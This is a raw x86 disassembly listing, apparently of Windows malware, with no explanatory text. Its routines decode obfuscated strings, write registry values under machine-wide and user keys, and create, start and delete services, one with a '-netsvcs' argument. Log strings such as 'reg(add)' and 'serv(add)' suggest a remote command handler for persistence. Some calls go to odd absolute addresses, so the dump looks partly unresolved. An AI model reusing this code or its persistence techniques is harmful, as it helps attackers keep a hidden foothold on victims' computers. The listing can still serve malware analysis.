		lea	ecx, [esp+80h+var_6C]
		mov	[esp+80h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_40142E
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019C4
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019C4
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		mov	ebp, dword_51175C
		push	eax
		push	80000002h
		call	ebp
		mov	esi, [esp+80h+arg_4]
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		mov	ebx, [esp+84h+arg_0]
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2940000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		push	0
		lea	eax, [esp+84h+var_70]
		lea	ecx, [esp+84h+var_6C]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		call	sub_4017EE
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2940000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 2900000h
		nop
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2940000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2940000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2940000h
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 2900000h
		nop
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_6C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+80h+var_54]
		mov	[esp+80h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	8
sub_40E2E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E860	proc near		; CODE XREF: sub_401451j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40E860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_6C]
		call	sub_40142E
		lea	ecx, [esp+80h+var_3C]
		mov	[esp+80h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_40142E
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019C4
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019C4
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		mov	esi, dword_51175C
		push	eax
		push	80000002h
		call	esi
		mov	edi, [esp+80h+arg_0]
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		mov	ebp, dword_51176C
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		mov	ebx, dword_511740
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		mov	[esp+80h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+80h+var_6C]
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	4
sub_40E860	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ECF0	proc near		; CODE XREF: sub_4014A1j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40ECF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+5Ch+var_24]
		call	sub_40142E
		push	104h
		push	104h
		lea	ecx, [esp+64h+var_24]
		mov	[esp+64h+var_4], 0
		call	sub_401C71
		push	eax
		nop
		call	near ptr 27E0000h
		lea	ecx, [esp+5Ch+var_3C]
		call	sub_40142E
		mov	ecx, [esp+5Ch+arg_4]
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+60h+var_24]
		call	sub_4017EE
		push	eax
		lea	eax, [esp+64h+var_3C]
		push	offset dword_444684
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+5Ch+var_54]
		call	sub_40142E
		lea	ecx, [esp+5Ch+var_54]
		push	offset aNetsvcs	; "-netsvcs"
		push	ecx
		mov	byte ptr [esp+64h+var_4], 2
		call	sub_40102D
		mov	ecx, [esp+64h+arg_0]
		add	esp, 8
		lea	edx, [esp+5Ch+var_54]
		lea	eax, [esp+5Ch+var_3C]
		push	edx
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_402171
		lea	ecx, [esp+5Ch+var_54]
		mov	bl, al
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_401226
		lea	ecx, [esp+5Ch+var_3C]
		mov	byte ptr [esp+5Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+5Ch+var_24]
		mov	[esp+5Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+5Ch+var_C]
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 54h
		retn	8
sub_40ECF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EE30	proc near		; CODE XREF: sub_402171j

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40EE30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		mov	[esp+5Ch+var_44], ecx
		push	0
		nop
		call	near ptr 2900A6Dh
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EE6F
		xor	al, al
		jmp	loc_40EFC0
; ---------------------------------------------------------------------------


loc_40EE6F:				; CODE XREF: sub_40EE30+36j
		lea	ecx, [esp+54h+var_24]
		call	sub_40142E
		mov	ecx, [esp+54h+arg_8]
		mov	[esp+54h+var_4], 0
		call	sub_4017EE
		mov	ebx, [esp+54h+arg_4]
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+5Ch+var_24]
		push	offset aSS_4	; "\"%s\" %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+54h+var_24]
		push	0
		push	0
		push	0
		push	0
		push	0
		call	sub_4017EE
		push	eax
		push	1
		push	2
		push	20h
		push	0F01FFh
		mov	ecx, offset dword_449834
		call	sub_4017EE
		mov	ebp, [esp+7Ch+arg_0]
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		push	edi
		call	near ptr 2910000h
		nop
		mov	esi, eax
		xor	ecx, ecx
		cmp	esi, ecx
		jnz	short loc_40EF55
		nop
		call	near ptr 27B07E7h
		cmp	eax, 431h
		jnz	short loc_40EF39
		mov	ecx, [esp+54h+var_44]
		push	ebp
		call	sub_401951
		mov	esi, dword_511754
		push	0
		call	esi
		push	edi
		call	esi
		mov	ecx, [esp+54h+var_44]
		push	ebx
		push	ebp
		call	sub_4014A1
		lea	ecx, [esp+54h+var_24]
		mov	bl, al
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40EFC0
; ---------------------------------------------------------------------------


loc_40EF39:				; CODE XREF: sub_40EE30+CBj
		push	edi
		nop
		call	near ptr 2910346h
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	short loc_40EFC0
; ---------------------------------------------------------------------------


loc_40EF55:				; CODE XREF: sub_40EE30+BEj
		lea	edx, [esp+54h+var_38]
		mov	[esp+54h+var_34], ecx
		mov	dword ptr [esp+54h+var_30], ecx
		push	edx
		mov	eax, 1
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+58h+var_40]
		push	2
		push	esi
		mov	[esp+60h+var_3C], eax
		mov	[esp+60h+var_40], eax
		mov	[esp+60h+var_38], ebx
		mov	[esp+60h+var_2C], eax
		mov	[esp+60h+var_28], ecx
		nop
		call	near ptr 291064Bh
		test	eax, eax
		push	esi
		mov	esi, dword_511754
		jnz	short loc_40EFAC
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		xor	al, al
		jmp	short loc_40EFC0
; ---------------------------------------------------------------------------


loc_40EFAC:				; CODE XREF: sub_40EE30+164j
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_40EFC0:				; CODE XREF: sub_40EE30+3Aj
					; sub_40EE30+104j ...
		mov	ecx, [esp+54h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	0Ch
sub_40EE30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F050	proc near		; CODE XREF: sub_401951j

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2900A6Dh
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F077
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F077:				; CODE XREF: sub_40F050+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	edi
		nop
		call	near ptr 28A0C50h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F0A4
		push	edi
		call	near ptr 2910346h
		nop
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F0A4:				; CODE XREF: sub_40F050+41j
		lea	eax, [esp+24h+var_1C]
		push	eax
		push	1
		push	esi
		call	near ptr 2900640h
		nop
		push	esi
		nop
		call	near ptr 290097Ch
		push	esi
		mov	esi, dword_511754
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 1Ch
		retn	4
sub_40F050	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F0F0	proc near		; CODE XREF: sub_401FD2j

arg_0		= dword	ptr  4

		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2900A6Dh
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F10F
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F10F:				; CODE XREF: sub_40F0F0+17j
		mov	ecx, [esp+4+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	esi
		nop
		call	near ptr 28A0C50h
		test	eax, eax
		jnz	short loc_40F136
		push	esi
		nop
		call	near ptr 2910346h
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F136:				; CODE XREF: sub_40F0F0+37j
		push	edi
		mov	edi, dword_511754
		push	eax
		call	edi
		push	esi
		call	edi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F0F0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F170	proc near		; CODE XREF: sub_401FFAj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2900A6Dh
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F191
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F191:				; CODE XREF: sub_40F170+18j
		mov	ecx, [esp+8+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	edi
		call	near ptr 28A0C50h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F1BB
		push	edi
		nop
		call	near ptr 2910346h
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F1BB:				; CODE XREF: sub_40F170+3Bj
		push	0
		push	0
		push	esi
		nop
		call	near ptr 28F0C65h
		push	esi
		mov	esi, dword_511754
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F170	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40F200:				; CODE XREF: ___:loc_4014ABj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43A348
		push	eax
		mov	large fs:0, esp
		sub	esp, 60h
		push	ebx
		push	esi
		mov	esi, [esp+78h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+19h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F2FA
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+14h]
		push	2
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+84h], ebx
		call	sub_4011EA
		lea	edx, [esp+0Ch]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+7Ch], 1
		call	sub_401730
		test	al, al
		jz	short loc_40F2C6
		lea	ecx, [esp+0Ch]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+28h]
		call	sub_4017EE
		push	eax
		push	offset aRegAddSAsS_ ; "reg(add)	\"%s\" as \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch


loc_40F2C6:				; CODE XREF: ___:0040F287j
		lea	ecx, [esp+0Ch]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F2FA:				; CODE XREF: ___:0040F236j
		lea	ecx, [edi+47h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F399
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 2
		push	ecx
		mov	ecx, edi
		call	sub_401451
		test	al, al
		jz	short loc_40F372
		lea	ecx, [esp+24h]
		call	sub_4017EE
		push	eax
		push	offset aRegDelS_ ; "reg(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_40F372:				; CODE XREF: ___:0040F33Dj
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F399:				; CODE XREF: ___:0040F30Cj
		lea	ecx, [edi+75h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F4AF
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+44h]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+14h]
		push	2
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+84h], 3
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		mov	bl, 4
		push	3
		push	eax
		mov	ecx, esi
		mov	[esp+84h], bl
		call	sub_4011EA
		lea	ecx, [esp+24h]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+40h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+80h], 5
		call	sub_402171
		test	al, al
		jz	short loc_40F46D
		lea	ecx, [esp+24h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+44h]
		call	sub_4017EE
		push	eax
		push	offset aServAddSAsSS_ ;	"serv(add) \"%s\" as \"\"%s\" %s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h


loc_40F46D:				; CODE XREF: ___:0040F424j
		lea	ecx, [esp+24h]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+74h], 3
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F4AF:				; CODE XREF: ___:0040F3ABj
		lea	ecx, [edi+0A3h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F551
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+5Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 6
		push	ecx
		mov	ecx, edi
		call	sub_401951
		test	al, al
		jz	short loc_40F52A
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		push	offset aServDelS_ ; "serv(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_40F52A:				; CODE XREF: ___:0040F4F5j
